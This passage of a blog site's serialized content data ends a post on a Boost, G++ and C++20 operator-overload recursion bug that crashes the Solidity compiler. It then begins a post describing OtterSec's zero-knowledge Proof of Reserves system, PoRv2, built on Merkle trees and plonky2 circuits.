rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":25,"tag":216,"props":95840,"children":95841},{"class":6916,"line":7104},[95842],{"type":25,"tag":216,"props":95843,"children":95844},{"style":6958},[95845],{"type":31,"value":95846},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":25,"tag":216,"props":95848,"children":95849},{"class":6916,"line":7210},[95850],{"type":25,"tag":216,"props":95851,"children":95852},{"style":6958},[95853],{"type":31,"value":14830},{"type":25,"tag":216,"props":95855,"children":95856},{"class":6916,"line":7238},[95857],{"type":25,"tag":216,"props":95858,"children":95859},{"style":8199},[95860],{"type":31,"value":95861},"-     return a == b;\n",{"type":25,"tag":216,"props":95863,"children":95864},{"class":6916,"line":7251},[95865],{"type":25,"tag":216,"props":95866,"children":95867},{"style":6983},[95868],{"type":31,"value":95869},"+     return a.operator==(b);\n",{"type":25,"tag":216,"props":95871,"children":95872},{"class":6916,"line":7269},[95873],{"type":25,"tag":216,"props":95874,"children":95875},{"style":6958},[95876],{"type":31,"value":7868},{"type":25,"tag":38,"props":95878,"children":95879},{},[95880,95882,95887,95889,95894],{"type":31,"value":95881},"Instead of calling ",{"type":25,"tag":82,"props":95883,"children":95885},{"className":95884},[],[95886],{"type":31,"value":94212},{"type":31,"value":95888}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":25,"tag":82,"props":95890,"children":95892},{"className":95891},[],[95893],{"type":31,"value":94220},{"type":31,"value":179},{"type":25,"tag":38,"props":95896,"children":95897},{},[95898],{"type":31,"value":95899},"This prevents C++20 from triggering recursive rewrites.",{"type":25,"tag":22747,"props":95901,"children":95902},{},[],{"type":25,"tag":26,"props":95904,"children":95906},{"id":95905},"part-iv-how-this-breaks-solidity",[95907],{"type":31,"value":95908},"Part IV: How This Breaks Solidity",{"type":25,"tag":38,"props":95910,"children":95911},{},[95912,95914,95919],{"type":31,"value":95913},"The Solidity codebase uses ",{"type":25,"tag":82,"props":95915,"children":95917},{"className":95916},[],[95918],{"type":31,"value":94067},{"type":31,"value":95920}," to represent certain compile-time constant expressions.",{"type":25,"tag":38,"props":95922,"children":95923},{},[95924,95926,95932],{"type":31,"value":95925},"One snippet that can trigger this issue appears in ",{"type":25,"tag":82,"props":95927,"children":95929},{"className":95928},[],[95930],{"type":31,"value":95931},"DeclarationTypeChecker::endVisit",{"type":31,"value":1466},{"type":25,"tag":206,"props":95934,"children":95936},{"code":95935,"language":33066,"meta":7,"className":33064,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[95937],{"type":25,"tag":82,"props":95938,"children":95939},{"__ignoreMap":7},[95940,95987,96012,96019,96097,96104,96157,96185,96192,96212,96219,96259,96266],{"type":25,"tag":216,"props":95941,"children":95942},{"class":6916,"line":6917},[95943,95947,95952,95956,95960,95965,95969,95974,95978,95982],{"type":25,"tag":216,"props":95944,"children":95945},{"style":6967},[95946],{"type":31,"value":19531},{"type":25,"tag":216,"props":95948,"children":95949},{"style":6958},[95950],{"type":31,"value":95951}," (Expression ",{"type":25,"tag":216,"props":95953,"children":95954},{"style":6930},[95955],{"type":31,"value":13605},{"type":25,"tag":216,"props":95957,"children":95958},{"style":6947},[95959],{"type":31,"value":8513},{"type":25,"tag":216,"props":95961,"children":95962},{"style":6958},[95963],{"type":31,"value":95964}," length ",{"type":25,"tag":216,"props":95966,"children":95967},{"style":6947},[95968],{"type":31,"value":266},{"type":25,"tag":216,"props":95970,"children":95971},{"style":6941},[95972],{"type":31,"value":95973}," _typeName",{"type":25,"tag":216,"props":95975,"children":95976},{"style":6958},[95977],{"type":31,"value":179},{"type":25,"tag":216,"props":95979,"children":95980},{"style":7041},[95981],{"type":31,"value":12450},{"type":25,"tag":216,"props":95983,"children":95984},{"style":6958},[95985],{"type":31,"value":95986},"()) {\n",{"type":25,"tag":216,"props":95988,"children":95989},{"class":6916,"line":6763},[95990,95995,95999,96003,96007],{"type":25,"tag":216,"props":95991,"children":95992},{"style":6958},[95993],{"type":31,"value":95994},"    std::optional",{"type":25,"tag":216,"props":95996,"children":95997},{"style":6947},[95998],{"type":31,"value":9751},{"type":25,"tag":216,"props":96000,"children":96001},{"style":6958},[96002],{"type":31,"value":95072},{"type":25,"tag":216,"props":96004,"children":96005},{"style":6947},[96006],{"type":31,"value":5896},{"type":25,"tag":216,"props":96008,"children":96009},{"style":6958},[96010],{"type":31,"value":96011}," lengthValue;\n",{"type":25,"tag":216,"props":96013,"children":96014},{"class":6916,"line":6772},[96015],{"type":25,"tag":216,"props":96016,"children":96017},{"emptyLinePlaceholder":16},[96018],{"type":31,"value":7636},{"type":25,"tag":216,"props":96020,"children":96021},{"class":6916,"line":6999},[96022,96026,96030,96034,96038,96042,96046,96050,96054,96059,96063,96067,96071,96075,96079,96084,96088,96092],{"type":25,"tag":216,"props":96023,"children":96024},{"style":6967},[96025],{"type":31,"value":16229},{"type":25,"tag":216,"props":96027,"children":96028},{"style":6958},[96029],{"type":31,"value":7010},{"type":25,"tag":216,"props":96031,"children":96032},{"style":6941},[96033],{"type":31,"value":12450},{"type":25,"tag":216,"props":96035,"children":96036},{"style":6958},[96037],{"type":31,"value":17708},{"type":25,"tag":216,"props":96039,"children":96040},{"style":7041},[96041],{"type":31,"value":34118},{"type":25,"tag":216,"props":96043,"children":96044},{"style":6958},[96045],{"type":31,"value":34123},{"type":25,"tag":216,"props":96047,"children":96048},{"style":6941},[96049],{"type":31,"value":36713},{"type":25,"tag":216,"props":96051,"children":96052},{"style":6947},[96053],{"type":31,"value":18136},{"type":25,"tag":216,"props":96055,"children":96056},{"style":6941},[96057],{"type":31,"value":96058}," length",{"type":25,"tag":216,"props":96060,"children":96061},{"style":6958},[96062],{"type":31,"value":17708},{"type":25,"tag":216,"props":96064,"children":96065},{"style":7041},[96066],{"type":31,"value":34118},{"type":25,"tag":216,"props":96068,"children":96069},{"style":6958},[96070],{"type":31,"value":34123},{"type":25,"tag":216,"props":96072,"children":96073},{"style":6941},[96074],{"type":31,"value":36713},{"type":25,"tag":216,"props":96076,"children":96077},{"style":6958},[96078],{"type":31,"value":17708},{"type":25,"tag":216,"props":96080,"children":96081},{"style":7041},[96082],{"type":31,"value":96083},"category",{"type":25,"tag":216,"props":96085,"children":96086},{"style":6958},[96087],{"type":31,"value":17994},{"type":25,"tag":216,"props":96089,"children":96090},{"style":6947},[96091],{"type":31,"value":12522},{"type":25,"tag":216,"props":96093,"children":96094},{"style":6958},[96095],{"type":31,"value":96096}," Type::Category::RationalNumber)\n",{"type":25,"tag":216,"props":96098,"children":96099},{"class":6916,"line":7104},[96100],{"type":25,"tag":216,"props":96101,"children":96102},{"style":6958},[96103],{"type":31,"value":85808},{"type":25,"tag":216,"props":96105,"children":96106},{"class":6916,"line":7210},[96107,96112,96116,96121,96125,96130,96134,96139,96143,96148,96152],{"type":25,"tag":216,"props":96108,"children":96109},{"style":6967},[96110],{"type":31,"value":96111},"    else",{"type":25,"tag":216,"props":96113,"children":96114},{"style":6967},[96115],{"type":31,"value":19740},{"type":25,"tag":216,"props":96117,"children":96118},{"style":6958},[96119],{"type":31,"value":96120}," (std::optional",{"type":25,"tag":216,"props":96122,"children":96123},{"style":6947},[96124],{"type":31,"value":9751},{"type":25,"tag":216,"props":96126,"children":96127},{"style":6958},[96128],{"type":31,"value":96129},"ConstantEvaluator::TypedRational",{"type":25,"tag":216,"props":96131,"children":96132},{"style":6947},[96133],{"type":31,"value":5896},{"type":25,"tag":216,"props":96135,"children":96136},{"style":6958},[96137],{"type":31,"value":96138}," value ",{"type":25,"tag":216,"props":96140,"children":96141},{"style":6947},[96142],{"type":31,"value":266},{"type":25,"tag":216,"props":96144,"children":96145},{"style":6958},[96146],{"type":31,"value":96147}," ConstantEvaluator::",{"type":25,"tag":216,"props":96149,"children":96150},{"style":7041},[96151],{"type":31,"value":41962},{"type":25,"tag":216,"props":96153,"children":96154},{"style":6958},[96155],{"type":31,"value":96156},"(...))\n",{"type":25,"tag":216,"props":96158,"children":96159},{"class":6916,"line":7238},[96160,96165,96169,96173,96177,96181],{"type":25,"tag":216,"props":96161,"children":96162},{"style":6958},[96163],{"type":31,"value":96164},"        lengthValue ",{"type":25,"tag":216,"props":96166,"children":96167},{"style":6947},[96168],{"type":31,"value":266},{"type":25,"tag":216,"props":96170,"children":96171},{"style":6941},[96172],{"type":31,"value":36467},{"type":25,"tag":216,"props":96174,"children":96175},{"style":6958},[96176],{"type":31,"value":17708},{"type":25,"tag":216,"props":96178,"children":96179},{"style":6941},[96180],{"type":31,"value":43109},{"type":25,"tag":216,"props":96182,"children":96183},{"style":6958},[96184],{"type":31,"value":6961},{"type":25,"tag":216,"props":96186,"children":96187},{"class":6916,"line":7251},[96188],{"type":25,"tag":216,"props":96189,"children":96190},{"emptyLinePlaceholder":16},[96191],{"type":31,"value":7636},{"type":25,"tag":216,"props":96193,"children":96194},{"class":6916,"line":7269},[96195,96199,96203,96207],{"type":25,"tag":216,"props":96196,"children":96197},{"style":6967},[96198],{"type":31,"value":16229},{"type":25,"tag":216,"props":96200,"children":96201},{"style":6958},[96202],{"type":31,"value":7010},{"type":25,"tag":216,"props":96204,"children":96205},{"style":6947},[96206],{"type":31,"value":24575},{"type":25,"tag":216,"props":96208,"children":96209},{"style":6958},[96210],{"type":31,"value":96211},"lengthValue)\n",{"type":25,"tag":216,"props":96213,"children":96214},{"class":6916,"line":7290},[96215],{"type":25,"tag":216,"props":96216,"children":96217},{"style":6958},[96218],{"type":31,"value":85808},{"type":25,"tag":216,"props":96220,"children":96221},{"class":6916,"line":7299},[96222,96226,96230,96234,96238,96242,96246,96250,96254],{"type":25,"tag":216,"props":96223,"children":96224},{"style":6967},[96225],{"type":31,"value":96111},{"type":25,"tag":216,"props":96227,"children":96228},{"style":6967},[96229],{"type":31,"value":19740},{"type":25,"tag":216,"props":96231,"children":96232},{"style":6958},[96233],{"type":31,"value":7010},{"type":25,"tag":216,"props":96235,"children":96236},{"style":6947},[96237],{"type":31,"value":8513},{"type":25,"tag":216,"props":96239,"children":96240},{"style":6958},[96241],{"type":31,"value":94043},{"type":25,"tag":216,"props":96243,"children":96244},{"style":6947},[96245],{"type":31,"value":12522},{"type":25,"tag":216,"props":96247,"children":96248},{"style":6983},[96249],{"type":31,"value":6986},{"type":25,"tag":216,"props":96251,"children":96252},{"style":6958},[96253],{"type":31,"value":1882},{"type":25,"tag":216,"props":96255,"children":96256},{"style":6921},[96257],{"type":31,"value":96258},"  // \u003C-- Infinite recursion happens here\n",{"type":25,"tag":216,"props":96260,"children":96261},{"class":6916,"line":7551},[96262],{"type":25,"tag":216,"props":96263,"children":96264},{"style":6958},[96265],{"type":31,"value":85808},{"type":25,"tag":216,"props":96267,"children":96268},{"class":6916,"line":7568},[96269],{"type":25,"tag":216,"props":96270,"children":96271},{"style":6958},[96272],{"type":31,"value":7868},{"type":25,"tag":38,"props":96274,"children":96275},{},[96276],{"type":31,"value":96277},"Under normal circumstances, this expression is benign. But:",{"type":25,"tag":2033,"props":96279,"children":96280},{},[96281,96286,96291],{"type":25,"tag":2037,"props":96282,"children":96283},{},[96284],{"type":31,"value":96285},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":25,"tag":2037,"props":96287,"children":96288},{},[96289],{"type":31,"value":96290},"C++20 reverses the arguments",{"type":25,"tag":2037,"props":96292,"children":96293},{},[96294],{"type":31,"value":96295},"The non-member operator recursively calls itself",{"type":25,"tag":38,"props":96297,"children":96298},{},[96299],{"type":31,"value":96300},"💥: segmentation fault.",{"type":25,"tag":22747,"props":96302,"children":96303},{},[],{"type":25,"tag":26,"props":96305,"children":96307},{"id":96306},"part-v-what-environments-are-affected",[96308],{"type":31,"value":96309},"Part V: What Environments are Affected?",{"type":25,"tag":38,"props":96311,"children":96312},{},[96313],{"type":31,"value":96314},"If a system uses any of the following:",{"type":25,"tag":2033,"props":96316,"children":96317},{},[96318,96323,96328],{"type":25,"tag":2037,"props":96319,"children":96320},{},[96321],{"type":31,"value":96322},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":25,"tag":2037,"props":96324,"children":96325},{},[96326],{"type":31,"value":96327},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":25,"tag":2037,"props":96329,"children":96330},{},[96331],{"type":31,"value":96332},"C++20 enabled (default in recent Solidity builds)",{"type":25,"tag":38,"props":96334,"children":96335},{},[96336,96338,96343,96345,96351],{"type":31,"value":96337},"They will encounter this crash ",{"type":25,"tag":9267,"props":96339,"children":96340},{},[96341],{"type":31,"value":96342},"as soon as",{"type":31,"value":96344}," it processes a Solidity source with a length expression like ",{"type":25,"tag":82,"props":96346,"children":96348},{"className":96347},[],[96349],{"type":31,"value":96350},"T[0]",{"type":31,"value":96352}," or anything involving compile-time rational comparisons.",{"type":25,"tag":22747,"props":96354,"children":96355},{},[],{"type":25,"tag":26,"props":96357,"children":96359},{"id":96358},"recommendations",[96360],{"type":31,"value":96361},"Recommendations",{"type":25,"tag":2033,"props":96363,"children":96364},{},[96365,96373],{"type":25,"tag":2037,"props":96366,"children":96367},{},[96368],{"type":25,"tag":9267,"props":96369,"children":96370},{},[96371],{"type":31,"value":96372},"Update Boost to ≥ 1.75",{"type":25,"tag":2037,"props":96374,"children":96375},{},[96376],{"type":25,"tag":9267,"props":96377,"children":96378},{},[96379],{"type":31,"value":96380},"Pin G++ to v14 or later",{"type":25,"tag":22747,"props":96382,"children":96383},{},[],{"type":25,"tag":26,"props":96385,"children":96386},{"id":32886},[96387],{"type":31,"value":22901},{"type":25,"tag":38,"props":96389,"children":96390},{},[96391],{"type":31,"value":96392},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":25,"tag":38,"props":96394,"children":96395},{},[96396,96398,96402],{"type":31,"value":96397},"But it ",{"type":25,"tag":9267,"props":96399,"children":96400},{},[96401],{"type":31,"value":7943},{"type":31,"value":96403}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":25,"tag":38,"props":96405,"children":96406},{},[96407],{"type":31,"value":96408},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":25,"tag":38,"props":96410,"children":96411},{},[96412],{"type":31,"value":96413},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":25,"tag":9310,"props":96415,"children":96416},{},[96417],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":96419},[96420,96421,96426,96429,96430,96431,96432,96433],{"id":94103,"depth":6763,"text":94106},{"id":94192,"depth":6763,"text":94195,"children":96422},[96423,96424,96425],{"id":94198,"depth":6772,"text":94201},{"id":94266,"depth":6772,"text":94269},{"id":94357,"depth":6772,"text":94360},{"id":94941,"depth":6763,"text":94944,"children":96427},[96428],{"id":94947,"depth":6772,"text":94950},{"id":95058,"depth":6763,"text":95061},{"id":95905,"depth":6763,"text":95908},{"id":96306,"depth":6763,"text":96309},{"id":96358,"depth":6763,"text":96361},{"id":32886,"depth":6763,"text":22901},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":96438,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96439,"description":96440,"date":96441,"author":35156,"image":96442,"isFeatured":16,"onBlogPage":16,"tags":96444,"body":96447,"_type":6792,"_id":101210,"_source":6794,"_file":101211,"_stem":101212,"_extension":6797},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":96443,"width":17574,"height":17574},"/posts/por/title.png",[96445,96446],"zk","por",{"type":22,"children":96448,"toc":101187},[96449,96455,96467,96479,96484,96516,96530,96536,96548,96553,96558,96595,96600,96606,96611,96618,96623,96649,96654,96660,96680,96694,96702,96707,96712,96720,96733,96739,96821,96827,96832,96845,96850,96857,96881,96889,96894,96900,96905,97348,97361,97367,97372,97380,97398,97406,97419,97427,99080,99085,99092,99098,99103,99110,99126,99133,99141,99148,100659,100664,100671,100677,100682,100709,100714,100733,100739,100747,100765,100814,100822,100841,100863,100869,100882,100887,100894,100899,100962,100967,100974,100994,101000,101005,101011,101016,101060,101065,101073,101079,101084,101126,101131,101139,101144,101152,101156,101161,101174],{"type":25,"tag":26,"props":96450,"children":96452},{"id":96451},"what-is-a-proof-of-reserves",[96453],{"type":31,"value":96454},"What is a Proof of Reserves?",{"type":25,"tag":38,"props":96456,"children":96457},{},[96458,96460,96465],{"type":31,"value":96459},"At its heart, ",{"type":25,"tag":9267,"props":96461,"children":96462},{},[96463],{"type":31,"value":96464},"Proof of Reserves (PoR)",{"type":31,"value":96466}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":25,"tag":38,"props":96468,"children":96469},{},[96470,96472,96477],{"type":31,"value":96471},"Think of it this way: ",{"type":25,"tag":9267,"props":96473,"children":96474},{},[96475],{"type":31,"value":96476},"PoR",{"type":31,"value":96478}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":25,"tag":38,"props":96480,"children":96481},{},[96482],{"type":31,"value":96483},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":25,"tag":38,"props":96485,"children":96486},{},[96487,96489,96496,96498,96505,96507,96514],{"type":31,"value":96488},"We from OtterSec, in partnership with ",{"type":25,"tag":162,"props":96490,"children":96493},{"href":96491,"rel":96492},"https://backpack.exchange/",[166],[96494],{"type":31,"value":96495},"Backpack",{"type":31,"value":96497},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":25,"tag":162,"props":96499,"children":96502},{"href":96500,"rel":96501},"https://github.com/otter-sec/por_v2",[166],[96503],{"type":31,"value":96504},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":31,"value":96506}," was based on ",{"type":25,"tag":162,"props":96508,"children":96511},{"href":96509,"rel":96510},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[166],[96512],{"type":31,"value":96513},"OKX Proof of Reserves algorithm",{"type":31,"value":96515}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":25,"tag":38,"props":96517,"children":96518},{},[96519,96521,96528],{"type":31,"value":96520},"In addition, we also created and open-sourced a ",{"type":25,"tag":162,"props":96522,"children":96525},{"href":96523,"rel":96524},"https://github.com/otter-sec/por_verifier_server",[166],[96526],{"type":31,"value":96527},"PoR verifier server",{"type":31,"value":96529}," that receives the proofs and validates them.",{"type":25,"tag":26,"props":96531,"children":96533},{"id":96532},"why-do-we-use-zk-for-por",[96534],{"type":31,"value":96535},"Why do we use ZK for PoR?",{"type":25,"tag":38,"props":96537,"children":96538},{},[96539,96541,96546],{"type":31,"value":96540},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":25,"tag":9267,"props":96542,"children":96543},{},[96544],{"type":31,"value":96545},"Zero-Knowledge Proofs (ZKPs)",{"type":31,"value":96547}," become game-changers.",{"type":25,"tag":38,"props":96549,"children":96550},{},[96551],{"type":31,"value":96552},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":25,"tag":38,"props":96554,"children":96555},{},[96556],{"type":31,"value":96557},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":25,"tag":6705,"props":96559,"children":96560},{},[96561,96578],{"type":25,"tag":2037,"props":96562,"children":96563},{},[96564,96569,96571,96577],{"type":25,"tag":9267,"props":96565,"children":96566},{},[96567],{"type":31,"value":96568},"Sum proof",{"type":31,"value":96570},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":25,"tag":82,"props":96572,"children":96574},{"className":96573},[],[96575],{"type":31,"value":96576},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":31,"value":24696},{"type":25,"tag":2037,"props":96579,"children":96580},{},[96581,96586,96588,96593],{"type":25,"tag":9267,"props":96582,"children":96583},{},[96584],{"type":31,"value":96585},"Non-negativity",{"type":31,"value":96587},": All users have a ",{"type":25,"tag":9267,"props":96589,"children":96590},{},[96591],{"type":31,"value":96592},"positive",{"type":31,"value":96594}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":25,"tag":38,"props":96596,"children":96597},{},[96598],{"type":31,"value":96599},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":25,"tag":26,"props":96601,"children":96603},{"id":96602},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[96604],{"type":31,"value":96605},"What is a Merkle Tree and how does it help in a PoR?",{"type":25,"tag":38,"props":96607,"children":96608},{},[96609],{"type":31,"value":96610},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":25,"tag":38,"props":96612,"children":96613},{},[96614],{"type":25,"tag":6461,"props":96615,"children":96617},{"alt":54541,"src":96616},"/posts/por/merkle-tree.png",[],{"type":25,"tag":38,"props":96619,"children":96620},{},[96621],{"type":31,"value":96622},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":25,"tag":6705,"props":96624,"children":96625},{},[96626,96639,96644],{"type":25,"tag":2037,"props":96627,"children":96628},{},[96629,96631,96637],{"type":31,"value":96630},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":25,"tag":82,"props":96632,"children":96634},{"className":96633},[],[96635],{"type":31,"value":96636},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":31,"value":96638},");",{"type":25,"tag":2037,"props":96640,"children":96641},{},[96642],{"type":31,"value":96643},"The Merkle tree is made public;",{"type":25,"tag":2037,"props":96645,"children":96646},{},[96647],{"type":31,"value":96648},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":25,"tag":38,"props":96650,"children":96651},{},[96652],{"type":31,"value":96653},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":25,"tag":26,"props":96655,"children":96657},{"id":96656},"ottersec-porv2",[96658],{"type":31,"value":96659},"OtterSec PoRv2",{"type":25,"tag":38,"props":96661,"children":96662},{},[96663,96669,96671,96678],{"type":25,"tag":162,"props":96664,"children":96666},{"href":96500,"rel":96665},[166],[96667],{"type":31,"value":96668},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":31,"value":96670},", which uses the ",{"type":25,"tag":162,"props":96672,"children":96675},{"href":96673,"rel":96674},"https://github.com/0xPolygonZero/plonky2",[166],[96676],{"type":31,"value":96677},"plonky2 ZK algorithm",{"type":31,"value":96679}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":25,"tag":38,"props":96681,"children":96682},{},[96683,96685,96692],{"type":31,"value":96684},"We named it PoRv2 because we already had a version based on ",{"type":25,"tag":162,"props":96686,"children":96689},{"href":96687,"rel":96688},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[166],[96690],{"type":31,"value":96691},"Vitalik's proof of solvency",{"type":31,"value":96693},", which was not optimal.",{"type":25,"tag":38,"props":96695,"children":96696},{},[96697],{"type":25,"tag":9267,"props":96698,"children":96699},{},[96700],{"type":31,"value":96701},"Non-negativity Proof",{"type":25,"tag":38,"props":96703,"children":96704},{},[96705],{"type":31,"value":96706},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":25,"tag":38,"props":96708,"children":96709},{},[96710],{"type":31,"value":96711},"We also check for overflows during summation to prevent tampering in the final result.",{"type":25,"tag":38,"props":96713,"children":96714},{},[96715],{"type":25,"tag":9267,"props":96716,"children":96717},{},[96718],{"type":31,"value":96719},"Sum Proof",{"type":25,"tag":38,"props":96721,"children":96722},{},[96723,96725,96731],{"type":31,"value":96724},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":25,"tag":82,"props":96726,"children":96728},{"className":96727},[],[96729],{"type":31,"value":96730},"BTC final: user1_btc + user2_btc ...",{"type":31,"value":96732},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":25,"tag":607,"props":96734,"children":96736},{"id":96735},"what-are-the-ottersec-porv2-key-points",[96737],{"type":31,"value":96738},"What are the OtterSec PoRv2 key points?",{"type":25,"tag":6705,"props":96740,"children":96741},{},[96742,96752,96770,96780,96811],{"type":25,"tag":2037,"props":96743,"children":96744},{},[96745,96750],{"type":25,"tag":9267,"props":96746,"children":96747},{},[96748],{"type":31,"value":96749},"Transparency",{"type":31,"value":96751},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":25,"tag":2037,"props":96753,"children":96754},{},[96755,96760,96762,96769],{"type":25,"tag":9267,"props":96756,"children":96757},{},[96758],{"type":31,"value":96759},"Time-efficiency",{"type":31,"value":96761},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":25,"tag":162,"props":96763,"children":96766},{"href":96764,"rel":96765},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[166],[96767],{"type":31,"value":96768},"Check our benchmark",{"type":31,"value":179},{"type":25,"tag":2037,"props":96771,"children":96772},{},[96773,96778],{"type":25,"tag":9267,"props":96774,"children":96775},{},[96776],{"type":31,"value":96777},"Memory-efficiency",{"type":31,"value":96779},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":25,"tag":2037,"props":96781,"children":96782},{},[96783,96788,96790,96795,96797,96802,96804,96809],{"type":25,"tag":9267,"props":96784,"children":96785},{},[96786],{"type":31,"value":96787},"Small-proofs",{"type":31,"value":96789},": We were able to reduce the final proof to less than ",{"type":25,"tag":9267,"props":96791,"children":96792},{},[96793],{"type":31,"value":96794},"500KB",{"type":31,"value":96796}," and each inclusion proof to ",{"type":25,"tag":9267,"props":96798,"children":96799},{},[96800],{"type":31,"value":96801},"~52KB",{"type":31,"value":96803},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":25,"tag":9267,"props":96805,"children":96806},{},[96807],{"type":31,"value":96808},"200MB",{"type":31,"value":96810}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":25,"tag":2037,"props":96812,"children":96813},{},[96814,96819],{"type":25,"tag":9267,"props":96815,"children":96816},{},[96817],{"type":31,"value":96818},"Privacy",{"type":31,"value":96820},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":25,"tag":26,"props":96822,"children":96824},{"id":96823},"zk-circuits",[96825],{"type":31,"value":96826},"ZK Circuits",{"type":25,"tag":38,"props":96828,"children":96829},{},[96830],{"type":31,"value":96831},"We use two different ZK circuits to generate the final proof:",{"type":25,"tag":6705,"props":96833,"children":96834},{},[96835,96840],{"type":25,"tag":2037,"props":96836,"children":96837},{},[96838],{"type":31,"value":96839},"Batch circuit",{"type":25,"tag":2037,"props":96841,"children":96842},{},[96843],{"type":31,"value":96844},"Recursive circuit",{"type":25,"tag":38,"props":96846,"children":96847},{},[96848],{"type":31,"value":96849},"With those two circuits, we can generate the proofs recursive tree:",{"type":25,"tag":38,"props":96851,"children":96852},{},[96853],{"type":25,"tag":6461,"props":96854,"children":96856},{"alt":54541,"src":96855},"/posts/por/batch-circuit.png",[],{"type":25,"tag":34,"props":96858,"children":96859},{},[96860],{"type":25,"tag":38,"props":96861,"children":96862},{},[96863,96865,96871,96873,96879],{"type":31,"value":96864},"Note: We are using 512 as ",{"type":25,"tag":82,"props":96866,"children":96868},{"className":96867},[],[96869],{"type":31,"value":96870},"BATCH_SIZE",{"type":31,"value":96872}," and 8 as ",{"type":25,"tag":82,"props":96874,"children":96876},{"className":96875},[],[96877],{"type":31,"value":96878},"RECURSIVE_SIZE",{"type":31,"value":96880}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the 